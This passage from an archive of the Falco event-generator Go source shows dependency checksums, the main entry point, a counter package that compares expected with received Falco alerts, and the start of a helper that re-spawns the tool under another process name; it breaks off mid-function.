github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY=
github.com/spf13/cast v1.7.0 h1:ntdiHjuueXFgm5nzDRdOS4yfT43P5Fnud6DH50rz/7w=
github.com/spf13/cast v1.7.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo=
github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM=
github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.19.0 h1:RWq5SEjt8o25SROyN3z2OrDB9l7RPd3lwTWU8EcEdcI=
github.com/spf13/viper v1.19.0/go.mod h1:GQUN9bilAbhU/jgc1bKs99f/suXKeUMct8Adx5+Ntkg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY=
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ=
github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
go.starlark.net v0.0.0-20240725214946-42030a7cedce h1:YyGqCjZtGZJ+mRPaenEiB87afEO2MFRzLiJNZ0Z0bPw=
go.starlark.net v0.0.0-20240725214946-42030a7cedce/go.mod h1:YKMCv9b1WrfWmeqdV5MAuEHWsu5iC+fe6kYl2sQjdI8=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.27.0 h1:GXm2NjJrPaiv/h1tb2UH8QfgC/hOf/+z0p6PT8o1w7A=
golang.org/x/crypto v0.27.0/go.mod h1:1Xngt8kV6Dvbssa53Ziq6Eqn0HqbZi5Z6R0ZpwQzt70=
golang.org/x/exp v0.0.0-20240909161429-701f63a606c0 h1:e66Fs6Z+fZTbFBAxKfP3PALWBtpfqks2bwGcexMxgtk=
golang.org/x/exp v0.0.0-20240909161429-701f63a606c0/go.mod h1:2TbTHSBQa924w8M6Xs1QcRcFwyucIwBGpK1p2f1YFFY=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=
golang.org/x/net v0.29.0/go.mod h1:gLkgy8jTGERgjzMic6DS9+SP0ajcu6Xu3Orq/SpETg0=
golang.org/x/oauth2 v0.23.0 h1:PbgcYx2W7i4LvjJWEbf0ngHV6qJYr86PkAV3bXdLEbs=
golang.org/x/oauth2 v0.23.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.24.0 h1:Mh5cbb+Zk2hqqXNO7S1iTjEphVL+jb8ZWaqh/g+JWkM=
golang.org/x/term v0.24.0/go.mod h1:lOBK/LVxemqiMij05LGJ0tzNr8xlmwBRJ81PX6wVLH8=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.18.0 h1:XvMDiNzPAl0jr17s6W9lcaIhGUfUORdGCNsuLmPG224=
golang.org/x/text v0.18.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
golang.org/x/time v0.6.0 h1:eTDhh4ZXt5Qf0augr54TN6suAUudPcawVZeIAPU7D4U=
golang.org/x/time v0.6.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.25.0 h1:oFU9pkj/iJgs+0DT+VMHrx+oBKs/LJMV+Uvg78sl+fE=
golang.org/x/tools v0.25.0/go.mod h1:/vtpO8WL1N9cQC3FN5zPqb//fRXskFHbLKk4OW1Q7rg=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 h1:pPJltXNxVzT4pK9yD8vR9X75DaWYYmLGMsEvBfFQZzQ=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1/go.mod h1:UqMtugtsSgubUsoxbuAoiCXvqvErP7Gf0so0mK9tHxU=
google.golang.org/grpc v1.66.2 h1:3QdXkuq3Bkh7w+ywLdLvM56cmGvQHUMZpiCzt6Rqaoo=
google.golang.org/grpc v1.66.2/go.mod h1:s3/l6xSSCURdVfAnL+TqCNMyTDAGN6+lZeVxnZR128Y=
google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg=
google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/evanphx/json-patch.v4 v4.12.0 h1:n6jtcsulIzXPJaxegRbvFNNrZDjbij7ny3gmSPG+6V4=
gopkg.in/evanphx/json-patch.v4 v4.12.0/go.mod h1:p8EYWUEYMpynmqDbY58zCKCFZw8pRWMG4EsWvDvM72M=
gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA=
gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
k8s.io/api v0.31.1 h1:Xe1hX/fPW3PXYYv8BlozYqw63ytA92snr96zMW9gWTU=
k8s.io/api v0.31.1/go.mod h1:sbN1g6eY6XVLeqNsZGLnI5FwVseTrZX7Fv3O26rhAaI=
k8s.io/apimachinery v0.31.1 h1:mhcUBbj7KUjaVhyXILglcVjuS4nYXiwC+KKFBgIVy7U=
k8s.io/apimachinery v0.31.1/go.mod h1:rsPdaZJfTfLsNJSQzNHQvYoTmxhoOEofxtOsF3rtsMo=
k8s.io/cli-runtime v0.31.1 h1:/ZmKhmZ6hNqDM+yf9s3Y4KEYakNXUn5sod2LWGGwCuk=
k8s.io/cli-runtime v0.31.1/go.mod h1:pKv1cDIaq7ehWGuXQ+A//1OIF+7DI+xudXtExMCbe9U=
k8s.io/client-go v0.31.1 h1:f0ugtWSbWpxHR7sjVpQwuvw9a3ZKLXX0u0itkFXufb0=
k8s.io/client-go v0.31.1/go.mod h1:sKI8871MJN2OyeqRlmA4W4KM9KBdBUpDLu/43eGemCg=
k8s.io/component-base v0.31.1 h1:UpOepcrX3rQ3ab5NB6g5iP0tvsgJWzxTyAo20sgYSy8=
k8s.io/component-base v0.31.1/go.mod h1:WGeaw7t/kTsqpVTaCoVEtillbqAhF2/JgvO0LDOMa0w=
k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk=
k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE=
k8s.io/kube-openapi v0.0.0-20240903163716-9e1beecbcb38 h1:1dWzkmJrrprYvjGwh9kEUxmcUV/CtNU8QM7h1FLWQOo=
k8s.io/kube-openapi v0.0.0-20240903163716-9e1beecbcb38/go.mod h1:coRQXBK9NxO98XUv3ZD6AK3xzHCxV6+b7lrquKwaKzA=
k8s.io/kubectl v0.31.1 h1:ih4JQJHxsEggFqDJEHSOdJ69ZxZftgeZvYo7M/cpp24=
k8s.io/kubectl v0.31.1/go.mod h1:aNuQoR43W6MLAtXQ/Bu4GDmoHlbhHKuyD49lmTC8eJM=
k8s.io/utils v0.0.0-20240902221715-702e33fdd3c3 h1:b2FmK8YH+QEwq/Sy2uAEhmqL5nPfGYbJOcaqjeYYZoA=
k8s.io/utils v0.0.0-20240902221715-702e33fdd3c3/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0=
sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd h1:EDPBXCAspyGV4jQlpZSudPeMmr1bNJefnuqLsRAsHZo=
sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd/go.mod h1:B8JuhiUyNFVKdsE8h686QcCxMaH6HrOAZj4vswFpcB0=
sigs.k8s.io/kustomize/api v0.17.3 h1:6GCuHSsxq7fN5yhF2XrC+AAr8gxQwhexgHflOAD/JJU=
sigs.k8s.io/kustomize/api v0.17.3/go.mod h1:TuDH4mdx7jTfK61SQ/j1QZM/QWR+5rmEiNjvYlhzFhc=
sigs.k8s.io/kustomize/kyaml v0.17.2 h1:+AzvoJUY0kq4QAhH/ydPHHMRLijtUKiyVyh7fOSshr0=
sigs.k8s.io/kustomize/kyaml v0.17.2/go.mod h1:9V0mCjIEYjlXuCdYsSXvyoy2BTsLESH7TlGV81S282U=
sigs.k8s.io/structured-merge-diff/v4 v4.4.1 h1:150L+0vs/8DA78h1u02ooW1/fFq/Lwr+sGiqlzvrtq4=
sigs.k8s.io/structured-merge-diff/v4 v4.4.1/go.mod h1:N8hJocpFajUSSeSJ9bOZ77VzejKZaXsTtZo4/u7Io08=
sigs.k8s.io/yaml v1.4.0 h1:Mk1wCc2gy/F0THH0TAp1QYyJNzRm2KCLy3o5ASXVI5E=
sigs.k8s.io/yaml v1.4.0/go.mod h1:Ejl7/uTz7PSA4eKMyQCUTnhZYNmLIl+5c2lQPGR2BPY=
07070100000085000081A400000000000000000000000166F189F1000002C7000000000000000000000000000000000000002500000000falco-event-generator-0.12.0/main.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package main
import (
"github.com/falcosecurity/event-generator/cmd"
)
func main() {
cmd.Execute()
}
07070100000086000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002100000000falco-event-generator-0.12.0/pkg07070100000087000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002900000000falco-event-generator-0.12.0/pkg/counter07070100000088000081A400000000000000000000000166F189F10000169F000000000000000000000000000000000000003400000000falco-event-generator-0.12.0/pkg/counter/counter.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package counter
import (
"context"
"sync"
"sync/atomic"
"time"
"github.com/falcosecurity/client-go/pkg/api/outputs"
"github.com/falcosecurity/client-go/pkg/client"
"github.com/falcosecurity/event-generator/events"
"github.com/prometheus/procfs"
logger "github.com/sirupsen/logrus"
)
type stat struct {
actual uint64
expected uint64
}
// Counter is a plugin that
type Counter struct {
i uint64
sleep int64
loop bool
humanize bool
dryRun bool
log *logger.Logger
ticker *time.Ticker
tickD time.Duration
lastT time.Time
outs outputs.ServiceClient
pTimeout time.Duration
proc *procfs.Proc
lastS *procfs.ProcStat
actions []string
list map[string]*stat
sync.RWMutex
}
// New returns a new Counter instance.
func New(ctx context.Context, config *client.Config, options ...Option) (*Counter, error) {
c, err := client.NewForConfig(ctx, config)
if err != nil {
return nil, err
}
outs, err := c.Outputs()
if err != nil {
return nil, err
}
cntr := &Counter{
outs: outs,
}
if err := Options(options).Apply(cntr); err != nil {
return nil, err
}
if cntr.log == nil {
cntr.log = logger.New()
}
cntr.list = make(map[string]*stat, len(cntr.actions))
for _, n := range cntr.actions {
cntr.list[n] = &stat{}
}
if !cntr.dryRun {
fcs, err := cntr.outs.Sub(ctx)
if err != nil {
return nil, err
}
go cntr.watcher(ctx, fcs)
}
if cntr.tickD > 0 {
go cntr.clock(ctx, cntr.tickD)
}
return cntr, nil
}
func (c *Counter) watcher(ctx context.Context, fcs outputs.Service_SubClient) {
err := client.OutputsWatch(ctx, fcs, func(res *outputs.Response) error {
for n := range c.list {
if events.MatchRule(n, res.Rule) {
s := c.list[n]
atomic.AddUint64(&s.actual, 1)
break
}
}
return nil
}, c.pTimeout)
if err != nil {
c.log.WithError(err).Error("gRPC error")
}
}
func (c *Counter) clock(ctx context.Context, d time.Duration) {
c.ticker = time.NewTicker(d)
c.lastT = time.Now()
running := true
round := 1
logEntry := c.log.WithField("sleep", time.Duration(c.sleep))
if c.dryRun {
logEntry = logEntry.WithField("dry-run", true)
}
logEntry.Infof("round #%d", round)
for {
select {
case t := <-c.ticker.C:
if running {
// round completed, rest for a while before collecting stats
c.Lock()
c.log.Info("resting...")
} else {
// collecting stats (while still locked)
c.logStats()
c.reset(t)
// start a new round
c.Unlock()
round++
c.log.Info("") // empty line for improved readability
logEntry.WithField("sleep", time.Duration(c.sleep)).Infof("round #%d", round)
}
running = !running
case <-ctx.Done():
c.ticker.Stop()
if !running {
c.Unlock()
}
return
}
}
}
func (c *Counter) reset(t time.Time) {
c.lastT = t
c.i = 0
dirty := false
invalid := false
for n, s := range c.list {
ac, ex := atomic.LoadUint64(&s.actual), atomic.LoadUint64(&s.expected)
atomic.StoreUint64(&s.expected, 0)
atomic.StoreUint64(&s.actual, 0)
dirty = dirty || ac > ex
if ex == 0 {
invalid = true
c.log.WithField("action", n).
Warn("cannot generate events")
}
}
if invalid {
c.log.Warn("some actions may be too slow, consider to use different actions")
}
if dirty {
c.log.Warnf("unexpected events received, retrying with sleep=%s", time.Duration(c.sleep).String())
}
if c.loop && !dirty && c.sleep > 0 {
c.sleep = c.sleep / 2
}
}
func (c *Counter) PreRun(ctx context.Context, log *logger.Entry, n string, f events.Action) (err error) {
c.Lock()
c.i++
sleep := c.sleep
c.Unlock()
if sleep > 0 {
time.Sleep(time.Duration(sleep))
}
return nil
}
func (c *Counter) PostRun(ctx context.Context, log *logger.Entry, n string, f events.Action, actErr error) error {
if s, ok := c.list[n]; ok {
atomic.AddUint64(&s.expected, 1)
}
return nil
}
func WithLogger(l *logger.Logger) Option {
return func(c *Counter) error {
c.log = l
return nil
}
}
func WithActions(actions map[string]events.Action) Option {
return func(c *Counter) error {
c.actions = make([]string, len(actions))
i := 0
for n := range actions {
c.actions[i] = n
i++
}
return nil
}
}
func WithLoop(loop bool) Option {
return func(c *Counter) error {
c.loop = loop
return nil
}
}
func WithSleep(sleep time.Duration) Option {
return func(c *Counter) error {
c.sleep = int64(sleep)
return nil
}
}
func WithRoundDuration(duration time.Duration) Option {
return func(c *Counter) error {
c.tickD = duration
return nil
}
}
func WithPollingTimeout(timeout time.Duration) Option {
return func(c *Counter) error {
c.pTimeout = timeout
return nil
}
}
func WithPid(pid int) Option {
return func(c *Counter) error {
proc, err := procfs.NewProc(pid)
if err != nil {
return err
}
c.proc = &proc
procStat, err := c.proc.Stat()
if err != nil {
return err
}
c.lastS = &procStat
return nil
}
}
func WithHumanize(humanize bool) Option {
return func(c *Counter) error {
c.humanize = humanize
return nil
}
}
func WithDryRun(dryRun bool) Option {
return func(c *Counter) error {
c.dryRun = dryRun
return nil
}
}
07070100000089000081A400000000000000000000000166F189F1000003D6000000000000000000000000000000000000003400000000falco-event-generator-0.12.0/pkg/counter/options.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package counter
// Option is a functional option for extractors.
type Option func(*Counter) error
// Options is a slice of Option.
type Options []Option
// Apply interates over Options and calls each functional option with a given Counter.
func (o Options) Apply(c *Counter) error {
for _, f := range o {
if err := f(c); err != nil {
return err
}
}
return nil
}
0707010000008A000081A400000000000000000000000166F189F100000A2A000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/pkg/counter/stats.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package counter
import (
"fmt"
"strconv"
"sync/atomic"
"time"
"github.com/dustin/go-humanize"
logger "github.com/sirupsen/logrus"
)
type stats struct {
Action string
Expected uint64
Actual uint64
Ratio float64
}
func (c *Counter) statsByAction(n string) *stats {
stats := &stats{
Action: n,
}
if s, ok := c.list[n]; ok {
stats.Expected, stats.Actual = atomic.LoadUint64(&s.expected), atomic.LoadUint64(&s.actual)
}
if stats.Expected > 0 {
stats.Ratio = float64(stats.Actual) / float64(stats.Expected)
}
return stats
}
func (c *Counter) globalStats() (stats map[string]interface{}) {
stats = make(map[string]interface{})
if c.proc != nil {
delta := time.Since(c.lastT)
s, _ := c.proc.Stat()
stats["cpu"] = float64((s.CPUTime() - c.lastS.CPUTime()) / delta.Seconds())
stats["res_mem"] = uint64(s.ResidentMemory())
stats["virt_mem"] = uint64(s.VirtualMemory())
if c.humanize {
stats["cpu"] = strconv.FormatFloat(stats["cpu"].(float64)*100, 'f', 1, 64) + "%"
stats["res_mem"] = humanize.Bytes(uint64(stats["res_mem"].(uint64)))
stats["virt_mem"] = humanize.Bytes(stats["virt_mem"].(uint64))
}
c.lastS = &s
}
stats["throughput"] = float64(c.i) / c.tickD.Seconds()
if c.humanize {
stats["throughput"] = strconv.FormatFloat(stats["throughput"].(float64), 'f', 1, 64) + " EPS"
}
return
}
func (c *Counter) logStats() {
stats := c.globalStats()
logStatsEntry := c.log.WithFields(logger.Fields(stats))
var lost float64
for _, n := range c.actions {
s := c.statsByAction(n)
logEntry := c.log.WithField("expected", s.Expected).WithField("actual", s.Actual).WithField("ratio", s.Ratio)
logEntry.Info(s.Action)
lost += s.Ratio
}
if !c.dryRun {
lost = 1 - lost/float64(len(c.actions)) // lost average
if c.humanize {
logStatsEntry = logStatsEntry.WithField("lost", fmt.Sprintf("%d%%", int(lost*100)))
} else {
logStatsEntry = logStatsEntry.WithField("lost", lost)
}
}
logStatsEntry.Info("statistics")
}
0707010000008B000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/pkg/runner0707010000008C000081A400000000000000000000000166F189F100000D2C000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/pkg/runner/helper.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package runner
import (
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/falcosecurity/event-generator/events"
logger "github.com/sirupsen/logrus"
"k8s.io/cli-runtime/pkg/resource"
)
var _ events.Helper = &helper{}
// Helper errors
var (
ErrChildSpawn = errors.New("cannot re-spawn a child process")
)
type helper struct {
action string
runner *Runner
log *logger.Entry
hasLog bool
builder *resource.Builder
cleanup func()
}
func (h *helper) Log() *logger.Entry {
// do not set hasLog (and silence info logs) if debug log is emmited
if h.log.Level != logger.DebugLevel {
h.hasLog = true
}
return h.log
}
func (h *helper) Sleep(d time.Duration) {
h.log.Infof("sleep for %s", d) // do not set hasLog
time.Sleep(d)
}
func (h *helper) ResourceBuilder() *resource.Builder {
// todo(leogr): handle nil case
return h.builder
}
func (h *helper) Cleanup(f func(), args ...interface{}) {
oldCleanup := h.cleanup
h.cleanup = func() {
if oldCleanup != nil {
defer oldCleanup()
}
log := h.Log()
if len(args) > 0 {
if l, ok := args[0].(*logger.Entry); ok {
log = l
args = args[1:]
}
}
args = append([]interface{}{"cleanup "}, args...)
log.Info(args...)
f()
}
}
func (h *helper) SpawnAs(name string, action string, args ...string) error {
return h.spawnAs(name, action, true, args...)
}
func (h *helper) SpawnAsWithSymlink(name string, action string, args ...string) error {
return h.spawnAs(name, action, false, args...)
}
func (h *helper) spawnAs(name string, action string, copy bool, args ...string) error {
fullArgs := append([]string{fmt.Sprintf("^%s$", action)}, args...)
h.Log().WithField("args", strings.Join(fullArgs, " ")).Infof("spawn as %q", name)
if h.Spawned() {
return ErrChildSpawn
}
tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-spawned-")
if err != nil {
return err
}
defer func() {
